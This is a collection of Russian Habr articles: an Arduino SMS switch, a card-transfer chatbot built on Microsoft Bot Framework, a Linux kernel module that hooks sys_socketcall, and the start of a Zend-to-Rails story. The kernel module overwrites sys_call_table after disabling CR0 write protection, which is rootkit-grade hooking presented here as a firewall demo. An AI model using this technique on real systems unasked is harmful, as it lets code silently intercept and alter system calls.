if(deviceLetterIdx != -1)
{
//got letter, now expecting 0 or 1
if(smsText[i] == '0')
{
mySwitch.switchOff(groupAddress, deviceAddresses[deviceLetterIdx]);
delay(500);
}
if(smsText[i] == '1')
{
mySwitch.switchOn(groupAddress, deviceAddresses[deviceLetterIdx]);
delay(500);
}
deviceLetterIdx = -1;
}
else
{
//waiting for letter A,B,C...
for(j = 0; j < sizeof(smsLetters) - 1; j++)
{
if(smsLetters[j] == smsText[i])
{
deviceLetterIdx = j;
break;
}
}
}
}
}
}
delay(10000);
};
```
[GitHub](https://github.com/rossvs/Arduino-SMS-switch).
### Проблемы?
Если розетки ни в какую не хотят переключаться, можно попробовать [принять](https://code.google.com/p/rc-switch/wiki/HowTo_Receive) сигнал от родного пульта на приемник. В rc-switch есть пример кода.
### Что дальше?
Как дальше можно развить этот проект:
Во-первых, у нас осталось еще куча пинов на самом Ардуино и на GSM-шилде. Можно подключить к ним какие-то датчики или устройства. Например, сделать удаленный мониторинг температуры или полив цветов.
Во-вторых, мы использовали только SMS, а модуль еще умеет передавать голос и GPRS. GPRS может передать гораздо больше данных. Кроме того, можно не бросать трубку при звонке, а, например, принимать вызов и давать слушать, что происходит на месте.
Возможно также, что вы захотите принимать управляющие SMS не с одного номера, а с нескольких. В этом случае я бы рекомендовал хранить номера в адресной книге &mash в библиотеке есть соответствующие функции. | https://habr.com/ru/post/237553/ | null | ru | null |
# Пишем мультиплатформенного бота для перевода денег с карты на карту с помощью Microsoft Bot Framework V1
Во время конференции Microsoft Build 2016 был анонсирован Microsoft Bot Framework (сессия с Build 2016: [видео](https://channel9.msdn.com/Events/Build/2016/B821)). С его помощью можно создать бота (на C# или Node.js), которого потом можно подключить к различным каналам / приложениям: СМС, Skype, Telegram, Slack и т.д. Мы пишем бота, используя Bot Builder SDK от Microsoft, а все проблемы взаимодействия с третьесторонними API берет на себя Bot Connector (см. изображение). Звучит красиво, попробуем создать простого бота, который мог бы переводить деньги с карты на карту (логику перевода возьмем у Альфа Банка — тестовый стенд, описание API: [Альфа Банк](http://docs.alfabank.ru/)), испытав все прелести продукта, находящегося в альфа-версии.
Disclaimer: во время написания статьи Microsoft выпустил новую версию фреймворка, так что ждите вторую серию: мигрируем бота с v1 на V3.
Готовим среду разработки
------------------------
Для успешной разработки бота нам будут нужны:
1. [Visual Studio 2015](https://www.visualstudio.com/)
2. Microsoft Account, чтобы залогиниться в [dev.botframework.com](https://dev.botframework.com/)
3. URL с задеплоенным кодом нашего бота. Этот URL должен быть доступен публично.
4. Аккаунты разработчиков Telegram / Skype / etc, чтобы иметь возможность добавить каналы коммуникации (для каждого приложения свои хитрости и настройки).
Теперь скачаем шаблон проекта для Bot Framework: [aka.ms/bf-bc-vstemplate](http://aka.ms/bf-bc-vstemplate). Чтобы новый тип проекта был доступен в Visual Studio 2015, скопируем скаченный архив в папку “%USERPROFILE%\Documents\Visual Studio 2015\Templates\ProjectTemplates\Visual C#". Теперь мы готовы создать самого простого эхо-бота.
Первый бот
----------
Откроем Visual Studio 2015, у нас появился новый тип проекта:
Созданный проект представляет собой Web API проект с одним контроллером — *MessagesController*, у которого в свою очередь всего один доступный метод *Post*:
**MessagesController**
```
[BotAuthentication]
public class MessagesController : ApiController
{
///
/// POST: api/Messages
/// Receive a message from a user and reply to it
///
public async Task Post([FromBody]Message message)
{
if (message.Type == "Message")
{
// calculate something for us to return
int length = (message.Text ?? string.Empty).Length;
// return our reply to the user
return message.CreateReplyMessage($"You sent {length} characters");
}
else
{
return HandleSystemMessage(message);
}
}
private Message HandleSystemMessage(Message message)
{
if (message.Type == "Ping")
{
Message reply = message.CreateReplyMessage();
reply.Type = "Ping";
return reply;
}
else if (message.Type == "DeleteUserData")
{
// Implement user deletion here
// If we handle user deletion, return a real message
}
else if (message.Type == "BotAddedToConversation")
{
}
else if (message.Type == "BotRemovedFromConversation")
{
}
else if (message.Type == "UserAddedToConversation")
{
}
else if (message.Type == "UserRemovedFromConversation")
{
}
else if (message.Type == "EndOfConversation")
{
}
return null;
}
}
```
Этот метод принимает единственный параметр типа *Message*, представляющий собой не только сообщение, отправленному нашему боту, но и событие, например, добавление нового пользователя в чат или завершение разговора. Чтобы узнать, чем именно является объект *message* надо проверить его свойство *Type*, что и делается в контроллере. Если это обычное сообщение от пользователя (message.Type == «Message»), мы можем прочитать само сообщение, обработать его и ответить — с помощью метода *CreateReplyMessage*. Простой бот готов, теперь попробуем его запустить и проверить работоспособность. Microsoft предоставляет удобную утилиту Bot Framework Emulator ([скачать для v1](https://aka.ms/bf-v1-emulator)), которая позволяет удобно запускать и отлаживать ботов на локальной машине. Запустим наш проект *EchoBot*, в браузере покажется такая страница по адресу [localhost](http://localhost):3978/
Запустим теперь установленный Bot Framework Emulator, который знает, что нашего запущенного бота стоит искать именно на порту 3978:
Отправим сообщение боту, нам придет ответ. Как вы видим, все работает. Теперь рассмотрим создание бота, который бы на основе введенных пользователем данных мог бы перевести деньги с карты на карту.
Бот для перевода денег с карты на карту
---------------------------------------
Для того чтобы перевести деньги с карты на карту, нам нужна информация об этих картах и сумма перевода. Для облегчения задачи написания стандартных сценариев с помощью Bot Framework Microsoft была создана поддержка двух наиболее распространенных вариантов взаимодействия с ботом: Dialogs и FormFlow. В нашем случае подходит FormFlow, потому что всю работу бота можно представить как заполнение некой формы данными, а затем ее обработку. Dialogs же позволяет работать с более простыми сценариями, например, сценарий оповещения при наступлении заданного события (может пригодиться для мониторинга серверов). Начнем создание бота с добавления класса, который и будет представлять собой форму, которую пользователю необходимо заполнить. Этот класс должен быть помечен как *[Serializable]*, для аннотации свойств используются атрибуты из пространства имен *Microsoft.Bot.Builder.FormFlow*:
**CardToCardTransfer**
```
[Serializable]
public class CardToCardTransfer
{
[Prompt("Номер карты отправителя:")]
[Describe("Номер карты, с которой Вы хотите перевести деньги")]
public string SourceCardNumber;
[Prompt("Номер карты получателя:")]
[Describe("Номер карты, на которую Вы хотите перевести деньги")]
public string DestinationCardNumber;
[Prompt("VALID THRU (месяц):")]
[Describe("VALID THRU (месяц)")]
public Month ValidThruMonth;
[Prompt("VALID THRU (год):")]
[Describe("VALID THRU (год)")]
[Numeric(2016, 2050)]
public int ValidThruYear;
[Prompt("CVV:")]
[Describe("CVV (три цифры на обороте карточки)")]
public string CVV;
[Prompt("Сумма перевода (руб):")]
[Describe("Сумма перевода (руб)")]
public int Amount;
[Prompt("Комиссия (руб):")]
[Describe("Комиссия (руб)")]
public double Fee;
}
```
Для того, чтобы Bot Framework мог использовать класс в FormFlow, все открытые поля или свойства должны принадлежать одному из следующих типов:
* Интегральные типы: sbyte, byte, short, ushort, int, uint, long, ulong
* Числовые типы с плавающей точкой: float, double
* Строки
* DateTime
* Перечисления
* Список из перечислений
Атрибут *Prompt* отвечает за то, какой текст будет показан в качестве подсказки к заполнению поля, *Describe* — как поле будет называться для пользователя. Теперь с помощью класса **FormBuilder** нам нужно сказать Bot Framework, что мы хотим использовать именно класс *CardToCardTransfer* в качестве формы для диалога. Создадим новый класс CardToCardFormBuilder:
**CardToCardFormBuilder**
```
public static class CardToCardFormBuilder
{
public static IForm MakeForm()
{
FormBuilder \_order = new FormBuilder();
return \_order
.Message("Добро пожаловать в сервис перевода денег с карты на карту!")
.Field(nameof(CardToCardTransfer.SourceCardNumber))
.Field(nameof(CardToCardTransfer.ValidThruMonth))
.Field(nameof(CardToCardTransfer.ValidThruYear))
.Field(nameof(CardToCardTransfer.DestinationCardNumber), null, validateCard)
.Field(nameof(CardToCardTransfer.CVV))
.Field(nameof(CardToCardTransfer.Amount))
.OnCompletionAsync(async (context, cardTocardTransfer) =>
{
Debug.WriteLine("{0}", cardTocardTransfer);
})
.Build();
}
}
```
Мы создаем экземпляр класса **FormBuilder**, указывая, что используем *CardToCardTransfer* в качестве формы. Теперь с помощью цепочки вызова методов, мы делаем следующее
1. Метод *Message* задает приветственное сообщение.
2. Метод *Field* задает поля, значение которых должен будет ввести пользователь, порядок важен.
3. Метод *OnCompletionAsync* позволяет задать делегат, который будет вызван, когда пользователь заполнит все поля.
4. Метод *Build* делает основную работу — возвращает объект, реализующий *IForm*.
Все достаточно просто, но теперь мы хотим добавить простую валидацию введенных значений и расчет комиссии. Для расчета комиссии воспользуемся тем, что у нас есть класс *AlfabankService*, реализующий все взаимодействие с банковским API. Для валидации номера карты создадим класс *CardValidator*, чтобы указать делегат, использующийся для валидации поля, методу *Field* надо его передать третьим параметром. Расчет комиссии также приходится делать в методе валидации, потому что в версии 1 Bot Framework не предоставлял для этого иных механизмов.
**CardToCardFormBuilder с валидацией и расчетом комиссии**
```
public static class CardToCardFormBuilder
{
public static IForm MakeForm()
{
FormBuilder \_order = new FormBuilder();
ValidateAsyncDelegate validateCard =
async (state, value) =>
{
var cardNumber = value as string;
string errorMessage;
ValidateResult result = new ValidateResult();
result.IsValid = CardValidator.IsCardValid(cardNumber, out errorMessage);
result.Feedback = errorMessage;
return result;
};
return \_order
.Message("Добро пожаловать в сервис перевода денег с карты на карту!")
.Field(nameof(CardToCardTransfer.SourceCardNumber), null, validateCard)
.Field(nameof(CardToCardTransfer.Fee), state => false)
.Field(nameof(CardToCardTransfer.ValidThruMonth))
.Field(nameof(CardToCardTransfer.ValidThruYear))
.Field(nameof(CardToCardTransfer.DestinationCardNumber), null, validateCard)
.Field(nameof(CardToCardTransfer.CVV))
.Field(nameof(CardToCardTransfer.Amount), null,
async (state, value) =>
{
int amount = int.Parse(value.ToString());
var alfabankService = new AlfabankService();
string auth = await alfabankService.AuthorizePartner();
state.Fee = (double) await alfabankService.GetCommission(auth, state.SourceCardNumber, state.DestinationCardNumber, amount);
ValidateResult result = new ValidateResult();
result.IsValid = true;
return result;
})
.Confirm("Вы хотите перевести {Amount} рублей с карты {SourceCardNumber} на карту {DestinationCardNumber}? Комиссия составит {Fee} рублей. (y/n)")
.OnCompletionAsync(async (context, cardTocardTransfer) =>
{
Debug.WriteLine("{0}", cardTocardTransfer);
})
.Build();
}
}
```
Остался последний шаг — интегрировать *CardToCardFormBuilder* в контроллер. Для этого нам нужен метод, возвращающий *IDialog*, чтобы его в свою очередь передать вторым параметром в метод *Conversation.SendAsync*.
**MessagesController**
```
[BotAuthentication]
public class MessagesController : ApiController
{
internal static IDialog MakeRoot()
{
return Chain.From(() => FormDialog.FromForm(CardToCardFormBuilder.MakeForm))
.Do(async (context, order) =>
{
try
{
var completed = await order;
var alfaService = new AlfabankService();
string expDate = completed.ValidThruYear.ToString() + ((int)completed.ValidThruMonth).ToString("D2");
string confirmationUrl = await alfaService.TransferMoney(completed.SourceCardNumber, expDate, completed.CVV, completed.DestinationCardNumber, completed.Amount);
await context.PostAsync($"Осталось только подтвердить платеж. Перейдите по адресу {confirmationUrl}");
}
catch (FormCanceledException e)
{
string reply;
if (e.InnerException == null)
{
reply = $"Вы прервали операцию, попробуем позже!";
}
else
{
reply = "Извините, произошла ошибка. Попробуйте позже.";
}
await context.PostAsync(reply);
}
});
}
///
/// POST: api/Messages
/// Receive a message from a user and reply to it
///
public async Task Post([FromBody]Message message)
{
if (message.Type == "Message")
{
return await Conversation.SendAsync(message, MakeRoot);
}
else
{
return HandleSystemMessage(message);
}
}
```
Собственно связывание происходит в коде Chain.From(() => FormDialog.FromForm(CardToCardFormBuilder.MakeForm)), а затем в метод *Do* мы передаем метод, который ожидает завершение формирования запроса и его обрабатывает, попутно отвечая за обработку ошибок. Теперь мы можем запустить бота и протестировать его работу в эмуляторе:
Можно убедиться, что бот работает так, как ожидалось, теперь нам подружить его с Bot Connector.
Регистрируем бота в Bot Connector
---------------------------------
Для начала нам нужно загрузить нашего бота на какой-то общедоступный URL, например, в Azure (бесплатная подписка подойдет): <https://alfacard2cardbot.azurewebsites.net>. Теперь заходим [dev.botframework.com](https://dev.botframework.com) с помощью учетной записи Microsoft. В верхнем меню выбираем «Register a Bot», вводим все обязательные поля: имя, описание, Messaging endpoint — тот самый общедоступный URL и т.д.
Не забудем обновить наш web.config, добавив туда AppId и AppSecret, сгенерированные нам на этом шаге. Задеплоим эти изменения. Теперь наш бот появился в меню «My Bots», можно убедиться, что Bot Connector правильно взаимодействует с ботом при помощи окна «Test connection to your bot» внизу слева. Теперь осталось добавить взаимодействие с Telegram, для этого в правом столбце выберем «Add another channel» — «Telegram» — «Add», откроется вот такое окно, в котором по шагам расписано, как нам добавить Telegram бота:
Исходный код, тестирование, заключение
--------------------------------------
Telegram боту можно написать **@AlfaCard2CardBot** , деньги не переведутся, среда тестовая. Код можно найти в GitHub: <https://github.com/StanislavUshakov/AlfaCardToCardBot>.
В следующей серии будем мигрировать бота на версию 3! | https://habr.com/ru/post/307530/ | null | ru | null |
# Сетевые системные вызовы. Часть 3
[Предыдущую часть обсуждения](http://habrahabr.ru/post/267773/) мы завершили на такой вот оптимистической ноте: «Подобным образом мы можем изменить поведение любого системного вызова Linux». И тут я слукавил — любого… да не любого. Исключение составляют (могут составлять) группа сетевых системных вызовов, работающих с BSD сокетами. Когда сталкиваешься с этим артефактом в первый раз — это изрядно озадачивает.
Как происходит сокетный вызов
=============================
Для прояснения картины воспользуемся заметками одного из непосредственных разработчиков сетевой подсистемы Linux:
[Network systems calls on Linux](http://isomerica.net/~dpn/socketcall1.pdf) (2008 год). Я коротко перескажу её основное содержание (в интересующей нас части), кому это не интересно может воспользоваться оригиналом.
Когда поддержка BSD сокетов были добавлена в ядро Linux, разработчики решили добавить их единовременно все 17 (на сегодня 20) сокетных вызовов, и добавили для этих вызовов один дополнительный **уровень косвенности**. Для всей группы этих вызовов введен один новый, редко упоминаемый, системный вызов (см. man socketcall(2)):
```
int socketcall( int call, unsigned long *args );
```
где:
— call — численный номер сетевого вызова (SYS\_CONNECT, SYS\_ACCEPT… мы их увидим вскоре);
— args — указатель 6-ти элементного массива (блок параметров), в который последовательно упакованы все параметры любого из системных вызовов этой группы (сетевой), без различения их типа (приведенные к unsigned long);
А вот такой макрос в ядре (), в котором «зашито» сколько фактически параметров должен использовать каждый из сокетных вызовов в зависимости от его номера (в диапазоне от 1 до 20):
```
/* Argument list sizes for sys_socketcall */
#define AL(x) ((x) * sizeof(unsigned long))
static const unsigned char nargs[ 21 ] = {
AL(0),AL(3),AL(3),AL(3),AL(2),AL(3),
AL(3),AL(3),AL(4),AL(4),AL(4),AL(6),
AL(6),AL(2),AL(5),AL(5),AL(3),AL(3),
AL(4),AL(5),AL(4)
};
#undef AL
```
(Причём, narg[ 0 ] **вообще не используется**, потому размерность его и 21.)
Номер сокетного вызова в пространство ядра (int 0x80 или sysenter) передаётся в регистре eax. Значения самих этих констант мы можем подсмотреть в заголовках пространства пользователя ():
```
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
...
#define SYS_SENDMSG 16 /* sys_sendmsg(2) */
#define SYS_RECVMSG 17 /* sys_recvmsg(2) */
#define SYS_ACCEPT4 18 /* sys_accept4(2) */
#define SYS_RECVMMSG 19 /* sys_recvmmsg(2) */
#define SYS_SENDMMSG 20 /* sys_sendmmsg(2) */
```
Собственно, схема обработки к этому моменту уже должна быть понятна:
— необходимое число параметров системного вызова пакуется в массив unsigned long, наибольшее число параметров (6) для SYS\_SENDTO=11 (nargs[ 11 ]):
```
ssize_t sendto( int sockfd, const void *buf, size_t len, int flags,
const struct sockaddr *dest_addr, socklen_t addrlen );
```
— адрес сформированного массива передаётся 2-м параметром системного вызова, первым параметром передаётся номер сокетного вызова (например SYS\_SENDTO);
— все сокетные вызовы обрабатываются единственным обработчиком ядра sys\_socketcall() (\_\_NR\_socketcall = 102);
— обработчик сначала копирует из пространства пользователя массив значений-параметров, а далее, в зависимости от eax, копирует из пространства пользователя вослед и области данных, указываемые (возможно) значениями указателей из этого массива параметров.
Некоторые новые архитектуры (так в оригинале) не используют такой непрямой способ вызова, а используют для этих вызовов такую же реализацию, как и для всех остальных системных вызовов. Так это реализовано, в частности, для X86\_64 и ARM. Таким образом, даже 64-битовые и 32-битовые (эмулируемые в системе X86\_64) приложения будут выполняться по разной схеме. Но не станем на это пока отвлекаться…
Удостовериться в том, что обслуживание сокетных вызовов в 32 и 64 битовых системах осуществляется принципиально по-разному, можно если в каталоге приложений пространства пользователя (заголовочные файлы библиотек языка C, ) рассмотреть, для сравнения, определения набора системных вызовов для 32 и 64 битовых режимов:
```
$ cat unistd_32.h | grep socketcall
#define __NR_socketcall 102
$ cat unistd_32.h | grep connect
```
```
$ cat unistd_64.h | grep socketcall
$ cat unistd_64.h | grep connect
#define __NR_connect 42
```
В 32-бит системе присутствует вызов sys\_socketcall(), но отсутствуют вызовы для каждого из 20 сокетых вызовов. И напротив, в 64-бит системе отсутствует такой системный вызов как sys\_socketcall(), но присутствует весь полный набор системных вызовов для каждого из 20-ти сокетных вызовов.
Сам же автор заметки в завершение, в качестве оценки, пишет следующее: *Данная методика кажется довольно уродливой (rather ugly) на первый взгляд, при сравнении с современными методами объектно-ориентированного программирования, но есть и определенная простота в нем. Он, также, хранит данные компактно, что улучшает попадание в кэши. Единственная проблема заключается в том, что выборка должна быть выполнена вручную, а это означает, что здесь легко выстрелить себе в ногу.*
Реализация
==========
Возможность перехвата сетевых системных вызовов будем иллюстрировать на макете распределённого файервола (максимально его упростив). Одно время с этой идеей очень сильно носились, в качестве реализации файервола для больших и сверхбольших сетей (особенно в окружении Cisco). Существует много публикаций на эту тему, например, две из них, дающие полное представление о том, что понимается как распределённый файервол: [Implementing a Distributed Firewall](https://www1.cs.columbia.edu/~smb/papers/ccs-df.pdf) и
[Automated Implementation of Stateful Firewalls in Linux](http://repository.lib.ncsu.edu/ir/bitstream/1840.16/7122/1/etd.pdf).
Предложение состоит в том, чтобы контролировать не весь TCP/IP трафик на уровне IP пакетов, а осуществлять регламент на каждом хосте сверхбольшой сети только для протокола TCP и только в момент установления соединения. Под контроль попадают только 2 системных вызова: accept() и connect(). Более глубокое обсуждение распределённого файервола увело бы нас очень далеко от наших целей … рассмотрим только то как мы могли бы контролировать эти сетевые сетевые вызовы.
В качестве иллюстрации реализации перехвата сокетных вызовов был реализован модуль такого сетевого фильтра я ядре для вызовов accept() и connect(). Сделан этот модуль в максимально упрощенной (усечённой) реализации: в качестве параметров при загрузке модуль получает IP адрес (параметр deny) и TCP порт (параметр port), соединения с которыми должны быть запрещены (и ещё один дополнительный параметр debug — уровень диагностического вывода).
**Примечание:** В тестируемом варианте запрещённые IP адреса и TCP порты допускались множественными, хранились в циклическом списке типа struct list\_head (как это и принято повсеместно в ядре), а помещались (или удалялись) они туда отдельным приложением — демоном политики в пространстве пользователя. Фильтр в ядре и должен функционировать некоторым подобным образом, но это слишком громоздко для статьи, описывающей принцип, тем более, что не принцип файервола, а принцип работы с сетевыми системными вызовами. При всех упрощениях код всё ещё великоват, поэтому я помеаю его под спойлер.
**Итак, код модуля-примера:**
```
static int debug = 0; // debug output level: 0, 1, 2
module_param( debug, uint, 0 );
static char* deny; // string parameter: denied IPv4
module_param( deny, charp, 0 );
static int port = 0; // denied port
module_param( port, int, 0 );
static void **taddr; // table sys_call_table address
u32 ipdeny; // denied IP
#include "find.c"
#include "CR0.c"
inline char* in4_ntoa( uint32_t ip ) { // mapping IP to a string
static char saddr[ MAX_ADDR_LEN ];
sprintf( saddr, "%d.%d.%d.%d",
( ip >> 24 ) & 0xFF, ( ip >> 16 ) & 0xFF,
( ip >> 8 ) & 0xFF, ( ip ) & 0xFF
);
return saddr;
}
asmlinkage long (*old_sys_socketcall) ( int call, unsigned long __user *args );
asmlinkage long new_sys_socketcall( int call, unsigned long __user *args ) {
#define PARMS 3
static unsigned long a[ PARMS ]; // accept() and connect() have the same number of parameters 3
static struct sockaddr sa;
// ----------- nested functions are a GCC extension ---------
long get_addr( void ) {
const unsigned int len = PARMS * sizeof( unsigned long );
if( copy_from_user( a, args, len ) )
return -EFAULT;
if( copy_from_user( &sa, (struct sockaddr __user*)a[ 1 ], sizeof( struct sockaddr ) ) )
return -EFAULT;
return 0;
}
// ----------------------------------------------------------
long ret;
if( SYS_ACCEPT == call ) { // accept() before syscall
long err;
if( ( err = get_addr() ) < 0 ) return err;
if( AF_INET == sa.sa_family ) { // only IPv4
struct sockaddr_in *usin = (struct sockaddr_in *)&sa
if( ntohs( usin->sin_port ) == port ) {
LOG( "accept from denied port %d\n", ntohs( usin->sin_port ) );
return -EIO;
}
}
}
if( SYS_CONNECT == call ) { // connect() before syscall
long err;
if( ( err = get_addr() ) < 0 ) return err;
if( AF_INET == sa.sa_family ) { // only IPv4
struct sockaddr_in *usin = (struct sockaddr_in *)&sa
DEB( "connect to %s:%d\n",
in4_ntoa( ntohl( usin->sin_addr.s_addr ) ), ntohs( usin->sin_port ) );
if( ( deny != NULL && ntohl( usin->sin_addr.s_addr ) == ipdeny ) ||
( port != 0 && ntohs( usin->sin_port ) == port ) ) {
LOG( "connect to %s:%d denied\n",
in4_ntoa( ntohl( usin->sin_addr.s_addr ) ), ntohs( usin->sin_port ) );
return -EACCES;
}
}
}
ret = old_sys_socketcall( call, args ); // retranslate to original sys_socketcall()
if( SYS_ACCEPT == call ) { // accepr() after syscall
long err;
if( ( err = get_addr() ) < 0 ) return err;
if( AF_INET == sa.sa_family ) { // only IPv4
struct sockaddr_in *usin = (struct sockaddr_in *)&sa
DEB( "accept from %s:%d\n",
in4_ntoa( ntohl( usin->sin_addr.s_addr ) ), ntohs( usin->sin_port ) );
if( ( deny != NULL && ntohl( usin->sin_addr.s_addr ) == ipdeny ) ||
( port != 0 && ntohs( usin->sin_port ) == port ) ) {
LOG( "accept from %s:%d denied\n",
in4_ntoa( ntohl( usin->sin_addr.s_addr ) ), ntohs( usin->sin_port ) );
return -EACCES;
}
}
}
return ret;
}
static int __init init( void ) {
void *waddr;
// ----------- nested functions are a GCC extension ---------
int pos_in_table( const char *symbol ) { // position in sys_call_table (__NR_*)
const int last = __NR_process_vm_writev; // near last syscall in i386
int n;
waddr = find_sym( symbol );
if( NULL == waddr ) return -1;
for( n = 0; n <= last; n++ )
if( taddr[ n ] == waddr ) break;
return n <= last ? n : -1;
}
// --------------------------------------------------------
void show_in_table( char *symb ) { // print info about symbol
waddr = find_sym( symb );
if( NULL == waddr ) {
DEB( "symbol %s not found in kernel\n", symb );
}
else {
int n = pos_in_table( symb );
if( n > 0 )
DEB( "symbol %s address = %p, position in sys_call_table = %d\n", symb, waddr, n );
else
DEB( "symbol %s address = %p, not found in sys_call_table\n", symb, waddr );
}
}
// --------------------------------------------------------
ipdeny = ntohl( deny != NULL ? in_aton( deny ) : in_aton( "0.0.0.0" ) );
LOG( "denied IP: %s\n", deny != NULL ? in4_ntoa( ipdeny ) : "no" );
if( port != 0 )
LOG( "denied TCP port: %d\n", port );
if( NULL == ( taddr = find_sym( "sys_call_table" ) ) ) {
ERR( "sys_call_table not found\n" ); return -EINVAL;
}
DEB( "sys_call_table address = %p\n", taddr );
show_in_table( "sys_accept" );
show_in_table( "sys_connect" );
show_in_table( "sys_socketcall" ); // only diagnostic
old_sys_socketcall = (void*)taddr[ __NR_socketcall ];
if( NULL == ( waddr = find_sym( "sys_socketcall" ) ) ) { // sys_socketcall not exported
ERR( "sys_socketcall not found\n" ); return -EINVAL;
}
if( old_sys_socketcall != waddr ) { // reinsurance!
ERR( "Oooops! I don't understand: addresses not equal\n" ); return -EINVAL;
}
if( debug ) show_cr0();
rw_enable();
taddr[ __NR_socketcall ] = new_sys_socketcall;
if( debug ) show_cr0();
rw_disable();
if( debug ) show_cr0();
LOG( "install new sys_socketcall handler: %p\n", &new_sys_socketcall );
return 0;
}
static void __exit exit( void ) {
LOG( "sys_socketcall handler before unload: %p\n", (void*)taddr[ __NR_socketcall ] );
rw_enable();
taddr[ __NR_socketcall ] = old_sys_socketcall;
rw_disable();
LOG( "restore old sys_socketcall handler: %p\n", (void*)taddr[ __NR_socketcall ] );
return;
}
module_init( init );
module_exit( exit );
```
Код максимально упрощён, такие вещи, как макросы диагностики LOG(), ERR() уже показывались, отчасти, в предыдущих частях. Функция find() тоже уже обсуждалась. Для записи в защищённую от записи область таблицы sys\_call\_table существует, как минимум, 3-4 альтернативных варианта, все они назывались и давались ссылками в обсуждениях предыдущей части. Защита от выгрузки модуля на время обслуживания системных вызовов, путём инкремента счётчика ссылок модуля, тоже не показана (называлось в предыдущей части). Все эти подробности присутствуют в кодах прилагаемого архива. Кроме того, коды в архиве обильно пересыпаны комментариями, содержащими выдержки из исходников ядра, с указанием файлов в дереве кодов ядра — это подсказывает требуемые структуры данных.
И всё же при всех упрощениях код остаётся достаточно громоздким (не сложным, а громоздким). Но можно и не вникать в собственно код, последовательность обработки модифицированных сетевых системных вызовов следующая:
* взять под контроль (сменить обработчик) системного вызова sys\_socketcall();
* если код вызова (1-й параметр sys\_socketcall()) равен SYS\_ACCEPT или SYS\_CONNECT, то скопировать из пространства пользователя 3-х элементный массив параметров unsigned long (в общем случае 6 элементов, для SYS\_SENDMSG, например);
* 2-й элемент массива (соответствующий 2-му параметру accept() или connect()), хоть он и выглядит как unsigned long — это указатель на struct sockaddr в адресном пространстве пользователя, вторым шагом доступа к параметрам копируем структуру из адресного пространства пользователя;
* структура содержит параметры IP адрес и TCP порт, если они попадают в перечень запрещённых — возвращаем код ошибки и отменяется операция, если нет — вызываем оригинальный обработчик системного вызова;
* для всех остальных (18-ти, не SYS\_ACCEPT и SYS\_CONNECT) сокетных вызовов просто осуществляем транзитом вызов оригинального sys\_socketcall();
* запросы, не относящиеся к протоколу IPv4 без модификации передаются сетевому стеку;
Некоторую дополнительную сложность создаёт тот факт, что для вызова accept() проверку приходится выполнять дважды:
* номер TCP порта раньше оригинального системного вызова, когда сервер начинает прослушивать не присоединенный сокет;
* IP адрес источника после установления соединения для сокета, после возврата из функции оригинального системного вызова;
Как это выглядит в работе? Как-то так:
```
$ sudo insmod fwnet.ko deny=192.168.56.101 port=10000 debug=1
$ lsmod | head -n2
Module Size Used by
fwnet 13116 0
$ dmesg | tail -n10
[ 786.609568] ! denied IP: 192.168.56.101
[ 786.609572] ! denied TCP port: 10000
[ 786.613047] ! sys_call_table address = c15b4000
[ 786.636336] ! symbol sys_accept address = c149a070, not found in sys_call_table
[ 786.656437] ! symbol sys_connect address = c149a0a0, not found in sys_call_table
[ 786.661444] ! symbol sys_socketcall address = c149acd0, position in sys_call_table = 102
[ 786.663994] ! CR0 = 8005003b
[ 786.664090] ! CR0 = 8004003b
[ 786.664096] ! CR0 = 8005003b
[ 786.664100] ! install new sys_socketcall handler: e1ad50d0
```
Естественно, для того, чтобы наблюдать работу сетевого фильтра ядра в действии, нам необходимы TCP клиент и сервер (например, ncat). Но для детального тестирования были подготовлены специальные ретранслирующий сервер (tcpserv) и клиент (tcpcli). Не считая некоторых мелочей, заточенных под эту работу, они ничего особенного не представляют и рассматриваться здесь не будут (но они есть в прилагаемом архиве).
Вот как будут выглядеть некоторые из попыток установления запрещённых TCP соединений:
— Запуск сервера, прослушивающего запрещённый порт:
```
$ ./tcpserv -v -p10000
listening on the TCP port 10000
denied TCP port: Input/output error
$ dmesg | tail -n5
...
[11213.888556] ! accept before: port = 10000
[11213.888562] ! accept from denied port 10000
```
— Попытка подключения клиента к запрещённому порту:
```
$ ./tcpcli -v -h 127.0.0.1 -p 10000
client: can't connect to server: Permission denied
$ dmesg | tail -n5
...
[10984.082051] ! connect to 127.0.0.1:10000
[10984.082060] ! connect to 127.0.0.1:10000 denied
[11166.236948] ! connect to 127.0.0.1:53
...
```
Ну и так далее — задача предоставляет широкое и увлекательное поле для экспериментирования…
(Здесь в протоколе специально сохранено и показано обращение в это же время к DNS по порту 53. Точно также, во время экспериментов с фильтрацией можно наблюдать множество соединений к TCP порту 80 — всё время не нарушая работы идёт HTTP трафик.)
Важно то, что после выгрузки модуля работа системы восстанавливается в исходное состояние:
```
$ sudo rmmod fwnet
$ dmesg | grep \! | tail -n2
[ 2890.602419] ! sys_socketcall handler before unload: e1ad50d0
[ 2890.602439] ! restore old sys_socketcall handler: c149acd0
```
Обсуждение
==========
Вот так, несколько с выдумкой, осуществляется в Linux обработка сетевых системных вызовов … по крайней мере, в 32 бит реализации. При первом столкновении с этими системными вызовами способ их работы несколько обескураживает.
Эта часть обсуждения получилась затянутой и скучной, но такой артефакт, как вот такая работа системных вызовов — его нужно знать и учитывать.
Маленький архив кода (и обширный журнал тестирования) для экспериментов можно взять [здесь](https://yadi.sk/d/ojCxnDuKjVpKG) или [здесь](https://drive.google.com/file/d/0B__cqmYoRw_6aExZa3VHLUE4a0U/view?usp=sharing). | https://habr.com/ru/post/268145/ | null | ru | null |
# Переписываем проект с Zend Framework на Rails
Около пяти месяцев назад я завязал с zend framework и пересел на рельсы. Тогда же начал переписывать свой проект [www.okinfo.ru](http://www.okinfo.ru). Сейчас он уже закончен и sloccount показал что количество строк в проекте уменьшилось с 15000 до 4000. Мои знакомые php разработчики попросили success story и в итоге родилась эта статья. В ней я опишу как оно было, а так же немного расскажу о своем переходе на ruby.
#### Предыстория
